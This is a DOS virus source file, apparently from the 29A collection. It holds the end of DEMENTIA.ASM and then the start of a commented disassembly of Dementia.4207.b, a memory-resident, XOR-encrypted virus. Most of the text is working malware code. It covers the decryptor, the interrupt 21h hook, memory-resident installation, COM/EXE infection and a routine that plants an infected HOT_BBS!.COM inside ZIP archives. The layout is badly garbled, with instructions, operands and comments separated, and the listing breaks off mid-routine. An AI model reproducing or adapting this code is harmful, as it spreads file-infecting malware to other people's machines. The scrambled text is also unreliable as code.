; Store a byte of gfx_begin load_gfx 20h 20h,07h,0ffh,82h,00h,00h,0deh,0ffh,83h,01h,00h,0ffh,1dh 00h,00h,77h,0ffh,9ch,86h,00h,0b0h,08h,0b0h,71h,0ffh,1ch 00h,00h,0dfh,0ffh,04h,23h,01h,0ffh,0dh,0e5h,01h,0b0h,71h 0ffh,06h,0f4h,01h,0ffh,68h,5eh,01h,0ffh,1eh,0c4h,01h,0b0h 08h,0ffh,06h,82h,02h,0dfh,07h,0ffh,04h,8ah,02h,0ffh,10h 0ech,01h,0ffh,5ah,0f8h,01h,0dch,07h,0dch,07h,0ffh,0bh 0f2h,01h,71h,0ffh,05h,8Ch,02h,0ffh,1dh,0e1h,02h,0ffh,08h 82h,02h,0ffh,06h,82h,02h,20h,07h,0ffh,06h,0f4h,01h,0b1h 0ffh,59h,0f7h,01h,0ffh,06h,82h,02h,0ffh,05h,42h,03h,08h 0ffh,1fh,0a4h,01h,0ffh,05h,05h,03h,0ffh,0ch,0c4h,01h 0ffh,09h,2ch,03h,0ffh,0dh,3fh,03h,0b0h,08h,0deh,0ffh,07h 0c5h,03h,0ffh,05h,0f6h,03h,0ffh,0bh,5dh,02h,0ffh,10h,00h 04h,0ffh,08h,0eah,03h,0ffh,07h,42h,03h,71h,20h,71h,0ddh 0ffh,0fh,0fdh,03h,0b1h,71h,0b1h,0ffh,05h,05h,04h,0ffh,04h 3ah,04h,0ffh,04h,0c2h,01h,0ddh,0ffh,05h,0edh,03h,0ffh,08h 0f0h,01h,0ffh,04h,2ah,04h,0ffh,0dh,7ah,02h,0ffh,15h,0f7h 01h,0ffh,06h,0dch,03h,0ffh,05h,42h,04h,0ffh,05h,0a3h,03h 0ffh,07h,0f0h,03h,0ffh,05h,81h,02h,20h,78h,20h,78h,0ffh 09h,3eh,04h,0ffh,07h,3dh,03h,0b2h,0ffh,06h,41h,03h,0ffh 05h,0c3h,01h,0b0h,08h,0deh,01h,0ffh,05h,0aeh,04h,0ffh,05h 37h,03h,0ffh,06h,9ah,04h,0ffh,08h,5eh,02h,0ffh,06h,3eh 03h,0ffh,06h,42h,04h,0ffh,04h,0ach,04h,0ffh,07h,94h,04h 0ffh,07h,7fh,02h,0ffh,04h,0f0h,03h,0ffh,06h,0fah,03h,0ffh 12h,74h,04h,0ffh,12h,74h,02h,0ffh,06h,0dah,04h,0ffh,06h 42h,04h,20h,78h,0ffh,08h,0a4h,04h,20h,71h,0dbh,07h,0ffh 08h,0eah,04h,0b2h,71h,0b2h,0ffh,07h,0c1h,04h,0ffh,06h,44h

db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db db gfx_end: file_end: temp_file request_iva filename receipt_iva callfast_com file_specifi origin_code int21_addr int24_addr com_or_exe stack_ptr stack_seg instruct_ptr code_seg initial_ip initial_cs code_seg_ tst_filesize

05h,0ffh,07h,3ah,03h,08h,0dbh,0ffh,08h,0adh,04h,0ffh,06h 0f3h,03h,0ffh,07h,0bdh,01h,20h,78h,0ffh,05h,0b2h,04h,08h 0ffh,08h,42h,05h,0ffh,06h,44h,05h,0ffh,06h,3ah,04h,0dch 07h,0ffh,04h,0aeh,04h,0ffh,18h,42h,03h,0ffh,08h,86h,05h 0ffh,0eh,0a2h,05h,0ffh,04h,44h,05h,0ffh,07h,42h,04h,0ffh 05h,1dh,04h,0ffh,08h,0c6h,05h,20h,07h,0dbh,71h,0ffh,04h 0dch,05h,20h,07h,0deh,01h,0ffh,04h,0e0h,05h,0ffh,04h,0c0h 01h,0dbh,71h,0ddh,01h,0ffh,0ah,6eh,05h,0ffh,04h,0e4h,05h 0ffh,04h,0aeh,04h,0ffh,0ch,0eeh,04h,0ffh,07h,0f2h,04h 0ffh,06h,0ebh,03h,01h,0ffh,04h,46h,05h,0ffh,04h,0e4h,05h 0ffh,08h,1ah,06h,0b2h,0ffh,05h,0dfh,05,0ffh,06h,0a0h,03h 0ffh,0ch,58h,04h,0ffh,0ah,0bah,01h,0ffh,04h,0bch,04h,0ffh 0ah,00h,00h,0ffh,04h,44h,05h,0ffh,04h,5ch,05h,0ffh,06h 50h,05h,0ffh,06h,0b8h,04h,0ffh,06h,0dah,04h,0ffh,04h,44h 05h,0ffh,04h,2eh,06h,0ffh,04h,0f0h,05h,0dbh,01h,0dbh,01h 0ffh,07h,7eh,00h,0ffh,07h,87h,06h,0ffh,05h,98h,04h,0ffh 05h,0b9h,04h,0ffh,0eh,5ch,05h,0ffh,04h,4ah,04h,0ffh,0ah 0c8h,04h,0dbh,0ffh,05h,23h,06h,0ffh,04h,0dch,05h,0ffh,06h 2ch,06h,0ffh,06h,0fah,05h,0ffh,06h,5ch,05h,0ffh,04h,42h 03h,0ffh,16h,0aeh,01h,0ffh,0ah,50h,06h,0ffh,04h,2eh,06h 0ffh,0ch,62h,06h,0ffh,0dh,0d4h,03,0ffh,09h,33h,03h,0ffh 0ah,0e6h,04h,0ffh,0eh,0b6h,01h,0ffh,14h,0ah,07h,0ffh,0eh 20h,07h,0ffh,07h,36h,03h,0ffh,0bh,5dh,07h,0ffh,0eh,0eh 07h,0ffh,18h,0ach,01h,0deh,0ffh,05h,85h,06h,0ffh,06h,0dch 05h,0ffh,04h,24h,06h,0ffh,20h,0a6h,03h,0ffh,73h,52h,01h 0ffh,04h,0bbh,06h,01h,0dbh,01h,0ffh,1ch,0a2h,07h,28h,09h 35h,01h,31h,01h,32h,01h,29h,09h,50h,01h,52h,01h,49h,01h 2dh,09h,56h,01h,41h,01h,54h,01h,45h,0ffh,05h,87h,06h,0fah 0fh,0ffh,04h,00h,00h,30h,09h,20h,07h,64h,01h,61h,01h,79h 01h,20h,07h,77h,01h,61h,01h,72h,01h,65h,01h,73h,0ffh,0bh 73h,08h,56h,01h,2dh,01h,58h,0ffh,07h,87h,06h,0ffh,29h 0d2h,02h,01h,0dch,0ffh,05h,39h,08h,0dfh,0ffh,23h,0a3h,08h 38h,09h,30h,09h,0ffh,04h,7eh,08h,6dh,01h,65h,01h,67h,0ffh 05h,91h,08h,6fh,01h,6eh,01h,6ch,01h,69h,01h,6eh,01h,65h 0ffh,0bh,73h,08h,55h,01h,53h,01h,52h,01h,20h,07h,44h,01h 75h,01h,61h,01h,6ch,01h,20h,07h,31h,09h,36h,09h,2eh,01h 38h,09h,6bh,0ffh,29h,0a3h,08h,0ffh,04h,0d2h,08h,0ffh,04h 0d4h,08h,0dfh,0ffh,05h,3dh,08h,0ffh,8eh,0a4h,07h,0ffh,22h 70h,07h,0ffh,40h,00h,00h,2dh,07h,5ch,0fh,2dh,07h,20h,07h 50h,0fh,73h,0bh,79h,03h,63h,03h,68h,09h,6fh,01h,74h,0fh 65h,0bh,0ffh,04h,76h,0ah,20h,07h,3ch,08h,49h,0fh,6dh,0bh 61h,03h,67h,09h,65h,01h,3eh,08h,0ffh,04h,66h,0ah,2fh,0ffh 05h,6bh,0ah,20h,07h

db db db db db db db dd dd db dw dw dw dw dw dw dw dw

'!#TEMP#!',00h ; Temporary file 'REQUEST.IVA',00h ; REQUEST.IVA 0dh dup(?) ; Filename 'RECEIPT.IVA ',00h ; RECEIPT.IVA 'CALLFAST.COM',00h ; CALLFAST.COM '*.*',00h ; File specification 0cdh,21h,? ; Original code of infected COM file ? ; Address of interrupt 21h ? ; Address of interrupt 24h 00h ; COM or EXE executable ? ; Original stack pointer ? ; Original stack segment ? ; Original instruction pointer ? ; Original code segment ? ; Initial IP ? ; Initial CS relative to start of ... ? ; Code segment 00h ; Test or don't test filesize

db db db db db db db db crypt_begin: code_end: data_end:

'Dementia]',00h 'Copyright 1993 Necrosoft enterprises - All rights reserved',00h 'I am the man that walks alone',0dh,0ah 'And when I''m walking a dark road',0dh,0ah 'At night or strolling through the park',0dh,0ah 'When the light begins to change',0dh,0ah 'I sometimes feel a little strange',0dh,0ah 'A little anxious when it''s dark',0dh,0ah,00h

end code_begin ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENTIA.ASM]ÄÄ ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ[DEMENT_B.ASM]ÄÄ comment * Dementia.4207.b Disassembly by Darkman/29A Dementia.4207.b is a 4207 bytes parasitic resident COM/EXE/ZIP virus. Infects files at close file, open file and load and/or execute program by appending the virus to the infected COM/EXE file and storing in the infected ZIP file. Dementia.4207.b has an error handler, 16-bit exclusive OR (XOR) encryption in file and is using archive infection technique. To compile Dementia.4207.b with Turbo Assembler v 4.0 type: TASM /M DEMENT_B.ASM TLINK /x DEMENT_B.OBJ EXE2BIN DEMENT_B.EXE DEMENT_B.COM * .model tiny .code code_begin: call_imm16 equ call delta_offset: pop add mov

word ptr $+01h prepare_demt

; Offset of CALL imm16

si ; Load SI from stack si,(crypt_begin-delta_offset-02h) di,si ; DI = offset of code_end - 02h

mov cx,(crypt_begin-crypt_end-02h)/02h std ; Set direction flag decrypt_key equ word ptr $+01h ; Decryption key mov dx,00h ; DX = decryption key push pop decrypt_loop: lodsw xor stosw jmp crypt_end: loop cld push sub nop cs cs ds es ; Save segments at stack ; Load segments from stack (CS) ; AX = word of encrypted code ; Decrypt two bytes ; Store two plain bytes

ax,dx

crypt_end decrypt_loop ; Clear direction flag cs ; Save CS at stack si,(crypt_end-code_begin)

mov shr mov add push lea push retf virus_begin: push pop pop mov mov call cmp je call virus_exit: mov cmp nop je mov mov sub mov mov add mov xchg cli mov add mov mov mov sti mov int mov mov xor xor xor xor xor xor jmp vir_com_exit:

cl,04h si,cl ax,cs ax,si ax

; ; ; ; ;

Divide by paragraphs SI = offset of crypt_end in para... AX = code segment Add code segment to delta offset... Save AX at stack

ax,virus_begin ; AX = offset of virus_begin ax ; Save AX at stack ; Return far! cs ds ; Save CS at stack ; Load DS from stack (CS)

ax ; Load AX from stack (CS) [code_seg_],ax ; Store code segment bx,1492h close_file bx,1776h virus_exit install ah,[com_or_exe] ; AH = COM or EXE executable? ah,00h ; COM executable? vir_com_exit ; Equal? Jump to vir_com_exit ; Dementia.4207.b function ; Already resident? ; Equal? Jump to virus_exit

ax,[code_seg_] ; AX = code segment bx,[initial_cs] ; AX = initial CS relative to star... ax,bx ; Subtract initial CS relative to ... dx,ax ; DX = segment of PSP for current ... bx,[code_seg] ; BX = original code segment ax,bx ; Add original code segment to seg... [code_seg],ax ; Store original code segment ax,dx ; AX = segment of current PSP proc...

; Clear interrupt-enable flag bx,[stack_seg] ; BX = original stack segment ax,bx ; Add original stack segment to se... ss,ax ; SS = original stack segment ax,[stack_ptr] ; AX = original stack pointer sp,ax ; SP = " " " ; Set interrupt-enable flag ah,62h 21h ds,bx es,bx ax,ax bx,bx cx,cx dx,dx si,si di,di ; Get current PSP address ; DS = segment of PSP for current ... ; ES = segment of PSP for current ... ; ; ; ; ; ; Zero Zero Zero Zero Zero Zero AX BX CX DX SI DI

dword ptr cs:[instruct_ptr]

mov lea nop movsw movsb push mov push xor xor xor xor xor xor push pop retf

di,100h si,origin_code

; DI = offset of beginning of code ; SI = offset of origin_code

; Move the original code to beginning ; " " " " " " es ax,100h ax ax,ax bx,bx cx,cx dx,dx si,si di,di es ds ; Save ES at stack ; AX = offset of beginning of code ; Save AX at stack ; ; ; ; ; ; Zero Zero Zero Zero Zero Zero AX BX CX DX SI DI

; Save ES at stack ; Load DS from stack (ES) ; Return far! ; Upcase character ; Lowcase character? ; Less? Jump to dont_upcase ; Lowcase character? ; Greater? Jump to dont_upcase ; Upcase character ; Return!

upcase_char proc near cmp al,'a' jl dont_upcase cmp al,'z' jg dont_upcase sub dont_upcase: ret endp int21_virus proc pushf cld cmp jne cmp jne mov popf iret tst_open_fil: cmp jne cmp je push mov find_dot: lodsb cmp je al,20h

near

; Interrupt 21h of Dementia.4207.b ; Save flags at stack ; Clear direction flag

ah,3eh ; Close file? tst_open_fil ; Not equal? Jump to tst_open_fil bx,1492h tst_open_fil bx,1776h ; Dementia.4207.b function? ; Not equal? Jump to tst_open_fil ; Already resident ; Load flags from stack ; Interrupt return! ah,3dh ; Open file tst_load_and ; Not equal? Jump to tst_load_and al,0ffh dementia_fun ax si si,dx ; Dementia.4207.b function ; Equal? Jump to dementia_fun ; Save registers at stack ; SI = offset of filename

; AL = byte of filename al,00h ; End of filename? open_fi_exit ; Equal? Jump to open_fi_exit

cmp jne lodsb call cmp jne lodsb call cmp jne lodsb call cmp jne call jmp tst_exe_exec: cmp jne lodsb call cmp jne lodsb call cmp jne call jmp tst_zip_arch: cmp jne lodsb call cmp jne lodsb call cmp jne call jmp open_fi_exit: pop jmp dementia_fun: mov tst_load_and: cmp

al,'.' find_dot

; Found the dot in the filename ; Not equal? Jump to find_dot

; AL = byte of extension upcase_char al,'C' ; COM executable? tst_exe_exec ; Not equal? Jump to tst_exe_exec ; AL = byte of extension upcase_char al,'O' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit ; AL = byte of extension upcase_char al,'M' ; COM executable? open_fi_exit ; Not equal? Jump to open_fi_exit inf_com_exe open_fi_exit al,'E' tst_zip_arch ; EXE executable? ; Not equal? Jump to tst_zip_arch

; AL = byte of extension upcase_char al,'X' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit ; AL = byte of extension upcase_char al,'E' ; EXE executable? open_fi_exit ; Not equal? Jump to open_fi_exit inf_com_exe open_fi_exit al,'Z' open_fi_exit ; ZIP archive? ; Not equal? Jump to open_fi_exit

; AL = byte of extension upcase_char al,'I' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit ; AL = byte of extension upcase_char al,'P' ; ZIP archive? open_fi_exit ; Not equal? Jump to open_fi_exit infect_zip open_fi_exit si ax tst_load_and al,02h ah,4bh ; Dementia.4207.b function ; Load and/or execute program? ; Load registers from stack

jne call int21_exit: popf jmp endp install push mov int mov next_mcb: mov mov cmp je mov mov add inc jmp allocate_mem: mov sub mov mov add inc mov push pop xor xor mov rep push lea push retf install_: push pop mov int mov mov lea proc

int21_exit inf_com_exe

; Not equal? Jump to int21_exit

; Load flags from stack cs:[int21_addr]

near es ah,52h 21h

; Allocate memory, move virus to t... ; Save ES at stack ; Get list of lists

ax,es:[bx-02h] ds,ax al,ds:[00h] al,'Z' allocate_mem

; AX = segment of first memory con...

; DS = segment of current memory c... ; AL = block type ; Last block in chain? ; Equal? Jump to allocate_mem

ax,ds ; AX = segment of current memory c... bx,ds:[03h] ; BX = size of memory block in par... ax,bx ; Add size of memory block in para... ax ; AX = segment of next memory cont... next_mcb bx,ds:[03h] ; BX = size of memory block in par... bx,(code_end-code_begin+0fh)/10h*02h ds:[03h],bx ; Store new size of memory control... ax,ds ax,bx ax es,ax cs ds ; ; ; ; AX = segment Add new size AX = segment ES = " of last memory cont... of memory block in ... of virus " "

; Save CS at stack ; Load DS from stack (CS)

si,si ; Zero SI di,di ; Zero DI cx,(code_end-code_begin) movsb ; Move virus to top of memory es ; Save ES at stack

ax,install_ ; AX = offset of install_ ax ; Save AX at stack ; Return far! cs ds ; Save CS at stack ; Load DS from stack (CS)

ax,3521h ; Get interrupt vector 21h 21h word ptr [int21_addr+02h],es word ptr [int21_addr],bx dx,int21_virus ; DX = offset of int21_virus

mov int pop ret endp

ax,2521h 21h es

; Set interrupt vector 21h

; Load ES from stack ; Return!

inf_com_exe proc near push bp mov bp,sp sub sp,06h push call call jc call and cmp je mov add mov mov call mov cmp je cmp je call jmp call_infect: call call_mark: call call_close: call com_exe_exit: call pop mov pop ret endp infect_zip proc near push bp mov bp,sp sub sp,28h

; Infect COM/EXE file ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

ax bx cx dx si di ds es int24_store open_file com_exe_exit

; Error? Jump to com_exe_exit

load_info cx,0000000000011111b cx,0000000000000001b call_close ; Already infected? Jump to call_c... ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer cx,20h read_file ax,ds:[00h] ax,'MZ' call_infect ax,'ZM' call_infect infect_com call_mark infect_exe infect_mark close_file int24_load es ds di si dx cx bx ax sp,bp bp ; SP = stack pointer ; Load BP from stack ; Return! ; Read thirty-two bytes

; AX = EXE signature ; Found EXE signature? ; Equal? Jump to call_infect ; Found EXE signature? ; Equal? Jump to call_infect

; Infect ZIP archive ; Save BP at stack ; BP = stack pointer ; Correct stack pointer

push xor mov mov mov call push lea nop call mov pop call jnc jmp load_info_: mov call mov add mov next_lfh_sig: mov call mov cmp je jmp test_dir_sig: mov cmp jne jmp read_lfh: mov call mov mov call push pop lea nop mov request_loop: lodsb mov inc

ax bx cx dx si di ds es ax,ax ; Didn't found file [bp-0eh],ax ; Store didn't found HOT_BBS!.COM [bp-10h],ax ; " " " REQUEST.IVA [bp-12h],ax ; " " " RECEIPT.IVA int24_store dx ds ; Save registers at stack dx,temp_file ; DX = offset of temp_file create_file [bp-0ah],ax ; Store file handle of !#TEMP#! ds dx ; Load registers from stack open_file load_info_ inf_zip_exit [bp-08h],ax load_info ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer cx,04h read_file ax,ds:[00h] ax,'KP' test_dir_sig call_mark_ ax,ds:[02h] ax,201h read_lfh zero_cdh_num cx,1ah read_file ; Read twenty-six bytes ; AX = high-order word of file hea... ; Found high-order word of central... ; Not equal? Jump to read_lfh ; Read four bytes ; Store file handle of ZIP file

; No error? Jump to load_info_

; AX = low-order word of file head... ; Found low-order word of file ha...? ; Equal? Jump to test_dir_sig

cx,ds:[16h] ; CX = filename length dx,20h ; DI = offset of filename read_file_ cs es ; Save CS at stack ; Load ES from stack (CS) ; DI = offset of request_iva

di,request_iva si,20h

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of request_iva di ; Increase index register

cmp je cmp jne jmp found_reques: mov mov xor xor call mov mov find_callfas: lea nop mov callfas_loop: lodsb mov inc cmp je cmp jne jmp found_callfa: mov mov find_receipt: lea nop mov receipt_loop: lodsb mov inc cmp je cmp jne jmp found_receip: mov mov calc_lfh_ptr: mov mov mov add adc

ah,00h ; End of filename? found_reques ; Equal? Jump to found_reques ah,al ; Byte of filename equal to byte o... find_callfas ; Not equal? Jump to find_callfas request_loop ax,01h ; Found REQUEST.IVA [bp-10h],ax ; Store found REQUEST.IVA cx,cx ; Zero CX dx,dx ; Zero DX set_pos_cfp [bp-24h],ax ; AX = low-order word of extra field [bp-22h],dx ; DX = high-order word of extra field di,hot_bbs__com si,20h ; DI = offset of hot_bbs__com

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of hot_bbs__com di ; Increase index register

ah,00h ; End of filename? found_callfa ; Equal? Jump to found_callfa ah,al ; Byte of filename equal to byte o... find_receipt ; Not equal? Jump to find_receipt callfas_loop ax,01h ; Found HOT_BBS!.COM [bp-0eh],ax ; Store found HOT_BBS!.COM di,receipt_iva si,20h ; DI = offset of receipt_iva

; SI = offset of filename

; AL = byte of filename ah,es:[di] ; AH = byte of receipt_iva di ; Increase index register

ah,00h ; End of filename? found_receip ; Equal? Jump to found_receip ah,al ; Byte of filename equal to byte o... calc_lfh_ptr ; Not equal? Jump to calc_lfh_ptr receipt_loop ax,01h ; Found RECEIPT.IVA [bp-12h],ax ; Store found RECEIPT.IVA dx,ds:[0eh] ; DX = low-order word of compresse... cx,ds:[10h] ; CX = high-order word of compress... ax,ds:[18h] ; AX = extra field length dx,ax ; Add extra field length to compre... cx,00h ; Convert to 32-bit

call jmp zero_cdh_num: xor mov copy_cds: mov inc mov mov mov call mov call mov mov add mov add mov call mov call mov mov call mov cmp je jmp test_eoc_sig: mov cmp je jmp copy_eocds: mov mov call mov mov mov mov mov call mov mov call

set_pos_cfp next_lfh_sig ax,ax ; No central directory file header... [bp-0ch],ax ; Store no central directory file ... ax,[bp-0ch] ; AX = number of central directory... ax ; Increase number of central direc... [bp-0ch],ax ; Store number of central director... bx,[bp-08h] ; BX = file handle of ZIP file cx,2ah ; Read forty-two bytes read_file bx,[bp-0ah] write_file_ ; BX = file handle of !#TEMP#!

cx,ds:[18h] ; CX = filename length bx,ds:[1ah] ; BX = extra field length cx,bx ; Add extra field length to filena... bx,ds:[1ch] ; BX = file comment length cx,bx ; CX = number of bytes to read bx,[bp-08h] read_file_ bx,[bp-0ah] write_file_ ; BX = file handle of ZIP file

; BX = file handle of !#TEMP#!

cx,04h ; Read four bytes bx,[bp-08h] ; BX = file handle of ZIP file read_file_ ax,ds:[00h] ax,'KP' test_eoc_sig call_mark_ ax,ds:[02h] ax,605h copy_eocds copy_cds bx,[bp-08h] ; BX = file handle of ZIP file cx,12h ; Read eightteen bytes read_file ax,ds:[0ch] [bp-18h],ax ax,ds:[0eh] [bp-16h],ax bx,[bp-0ah] write_file_ cx,ds:[10h] bx,[bp-08h] read_file_ ; ; ; ; AX = low-order word of offset of... Store low-order word of offset o... AX = high-order word of offset o... Store high-order word of offset ... ; AX = high-order word of end of c... ; Found high-order word of end of ... ; Equal? Jump to read_oecds ; AX = low-order word of end of ce... ; Found low-order word of end of ...? ; Equal? Jump to test_eoc_sig

; BX = file handle of !#TEMP#!

; CX = zipfile comment length ; BX = file handle of ZIP file

mov call mov or jz jmp test_callfas: mov or jz jmp create_file_: lea nop call mov mov mov nop lea nop call call mov mov lea nop call xor mov push pop push pop lea nop lea nop mov rep open_filenam: push pop lea nop call call mov mov

bx,[bp-0ah] write_file_

; BX = file handle of !#TEMP#!

ax,[bp-10h] ; AX = found REQUEST.IVA ax,ax ; Didn't found REQUEST.IVA test_callfas ; Zero? Jump to test_callfas test_receipt ax,[bp-0eh] ; AX = found HOT_BBS!.COM ax,ax ; Didn't found HOT_BBS!.COM create_file_ ; Zero? Jump to create_file_ call_mark_ dx,hot_bbs__com create_file [bp-14h],ax bx,[bp-14h] ; DX = offset of hot_bbs__com

; Store file handle of HOT_BBS!.COM ; BX = file handle of HOT_BBS!.COM

cx,(file_end-file_begin) dx,file_begin write_file_ close_file ax,01h ; Don't test filesize [tst_filesize],ax ; Store don't test filesize dx,hot_bbs__com inf_com_exe ax,ax ; Test filesize [tst_filesize],ax ; Store test filesize cs ds cs es ; Save CS at stack ; Load DS from stack (CS) ; Save CS at stack ; Load ES from stack (CS) ; SI = offset of hot_bbs__com ; DI = offset of filename ; Move thirteen bytes ; Move HOT_BBS!.COM to filename ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; DX = offset of hot_bbs__com ; DX = offset of file_begin

si,hot_bbs__com di,filename cx,0dh movsb cs ds dx,filename open_file set_pos_eof [bp-1ch],ax [bp-1ah],dx

; Store low-order word of filesize ; Store high-order word of filesize

call mov mov mov mov mov call mov add mov mov mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov mov xor mov mov call push pop lea nop mov nop call mov add mov mov call copy_callfas: mov mov call

calc_crc32 [bp-20h],ax [bp-1eh],dx bx,[bp-08h] cx,[bp-16h] dx,[bp-18h] set_pos_sof_

; Store low-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; BX = file handle of ZIP file ; CX = high-order word of offset o... ; DX = low-order word of offset of...

ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer ax,'KP' ds:[00h],ax ax,403h ds:[02h],ax ax,0ah ds:[04h],ax ax,ax ds:[06h],ax ds:[08h],ax ax,1801h ds:[0ah],ax ax,1d01h ds:[0ch],ax ax,[bp-20h] ds:[0eh],ax ax,[bp-1eh] ds:[10h],ax ax,[bp-1ch] ds:[12h],ax ds:[16h],ax ax,[bp-1ah] ds:[14h],ax ds:[18h],ax ax,0ch ds:[1ah],ax ax,ax ds:[1ch],ax cx,1eh write_file cs ds dx,filename cx,0ch write_file_ ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer bx,[bp-14h] set_pos_sof bx,[bp-14h] cx,400h read_file ; BX = file handle of HOT_BBS!.COM ; AX = low-order word of local hea... ; Store low-order word of local he... ; AX = high-order word of local hea... ; Store high-order word of local he... AX = version needed to extract (v... ; Store version needed to extract (... AX = general purpose bit flag and... ; Store general purpose bit flag ; Store compression method (the fil... ; AX = last modified file time ; Store last modified file time ; AX = last modified file date ; Store last modified file date ; AX = low-order word of CRC-32 ch... ; Store low-order word of CRC-32 c... ; AX = high-order word of CRC-32 c... ; Store high-order word of CRC-32 ... ; AX = low-order word of filesize ; Store low-order word of compress... ; Store low-order word of uncompre... ; AX = high-order word of filesize ; Store high-order word of compres... ; Store high-order word of uncompr... AX = filename length (12 bytes) ; Store filename length (12 bytes) AX = extra field length (0 bytes) ; Store extra field length (0 bytes)

; ;

; ;

; Write thirty bytes

; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; Write twelve bytes

; BX = file handle of HOT_BBS!.COM ; Read one thousand and twenty-fou...

cmp je mov mov call jmp copy_cds_: mov call cpy_cds_loop: mov cmp je dec mov mov mov mov mov mov mov mov call mov mov add mov add push mov call mov pop add call jmp wrt_last_cds: mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov mov

ax,00h copy_cds_

; Read all of the file? ; Equal? Jump to copy_cds_

cx,ax ; CX = number of bytes actually read bx,[bp-08h] ; BX = file handle of ZIP file write_file copy_callfas bx,[bp-0ah] set_pos_sof ; BX = file handle of !#TEMP#!

ax,[bp-0ch] ; AX = number of central directory... ax,00h ; No central directory file header? wrt_last_cds ; Equal? Jump to write_last_cds ax ; Decrease number of central direc... [bp-0ch],ax ; Store number of central director... ax,'KP' ds:[00h],ax ax,201h ds:[02h],ax ; AX = low-order word of central d... ; Store low-order word of central ... ; AX = high-order word of central ... ; Store high-order word of central...

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,2ah ; Read forty-two bytes dx,04h ; DX = offset of central directory... read_file_ cx,ds:[1ch] ; CX = filename length dx,ds:[1eh] ; DX = extra field length cx,dx ; Add extra field length to filena... dx,ds:[20h] ; DX = file comment length cx,dx ; CX = number of bytes to read cx dx,2eh read_file_ ; Save CX at stack ; DX = offset of central directory...

bx,[bp-08h] ; BX = file handle of ZIP file cx ; Load CX from stack cx,2eh ; Add size of central directory fi... write_file cpy_cds_loop ax,0ah ; AX = version made by (version 1.... ds:[04h],ax ; Store version made by (version 1... ds:[06h],ax ; Store version needed to extract (... ax,ax ; AX = general purpose bit flag and... ds:[08h],ax ; Store general purpose bit flag ds:[0ah],ax ; Store compression method (the fil... ax,1801h ; AX = last modified file time ds:[0ch],ax ; Store last modified file time ax,1d01h ; AX = last modified file date ds:[0eh],ax ; Store last modified file date ax,[bp-20h] ; AX = low-order word of CRC-32 ch... ds:[10h],ax ; Store low-order word of CRC-32 c... ax,[bp-1eh] ; AX = high-order word of CRC-32 c... ds:[12h],ax ; Store high-order word of CRC-32 ... ax,[bp-1ch] ; AX = low-order word of filesize ds:[14h],ax ; Store low-order word of compress... ds:[18h],ax ; Store low-order word of uncompre...

mov mov mov mov mov xor mov mov mov mov mov mov mov mov mov mov mov mov call push pop lea nop mov nop call mov add mov mov mov mov mov mov mov mov call mov push mov call mov inc mov mov inc mov mov mov add nop adc mov mov mov

ax,[bp-1ah] ; AX = high-order word of filesize ds:[16h],ax ; Store high-order word of compres... ds:[1ah],ax ; Store high-order word of compres... ax,0ch ; AX = filename length (12 bytes) ds:[1ch],ax ; Store filename length (12 bytes) ax,ax ; AX = extra field length, file co... ds:[1eh],ax ; Store extra field length (0 bytes) ds:[20h],ax ; Store file comment length (0 bytes) ds:[22h],ax ; Store disk number start (0 bytes) ds:[24h],ax ; Store internal file attributes ds:[26h],ax ; Store low-order word of external... ds:[28h],ax ; Store high-order word of externa... ax,[bp-18h] ; AX = low-order word of offset of... ds:[2ah],ax ; Store low-order word of relative... ax,[bp-16h] ; AX = high-order word of offset o... ds:[2ch],ax ; Store high-order word of relativ... bx,[bp-08h] ; BX = file handle of ZIP file cx,2eh ; Write forty-six bytes write_file cs ds dx,filename cx,0ch write_file_ ax,cs ; AX = code segment ax,(code_end-code_begin+0fh)/10h ds,ax ; DS = segment of data buffer ax,'KP' ds:[00h],ax ax,605h ds:[02h],ax ; AX = low-order word of end of ce... ; Store low-order word of end of c... ; AX = high-order word of end of c... ; Store high-order word of end of ... ; Save CS at stack ; Load DS from stack (CS) ; DX = offset of filename ; Write twelve bytes

bx,[bp-0ah] ; BX = file handle of !#TEMP#! cx,12h ; Read eightteen bytes dx,04h ; DX = offset of end of central di... read_file_ cx,ds:[14h] ; CX = zipfile comment length cx ; Save CX at stack dx,16h ; DX = offset of zipfile comment read_file_ ax,ds:[08h] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[08h],ax ; Store total number of entries in... ax,ds:[0ah] ; AX = total number of entries in ... ax ; Increase total number of entries... ds:[0ah],ax ; Store total number of entries in... ax,ds:[0ch] ; AX = low-order word of size of t... dx,ds:[0eh] ; DX = high-order word of size of ... ax,3ah ; Add size of central directory fi... dx,00h ; Convert to 32-bit ds:[0ch],ax ; Store low-order word of size of ... ds:[0eh],dx ; Store high-order word of size of... ax,ds:[10h] ; AX = low-order word of offset of...

mov add nop adc mov add mov add adc mov mov mov pop add call mov call lea nop call jmp test_receipt: mov or jz jmp exam_extra: mov mov mov call mov add mov mov mov call cld xor xor lodsw cmp je jmp comp_extra: lodsw cmp je jmp load_extra: lodsw mov lodsb

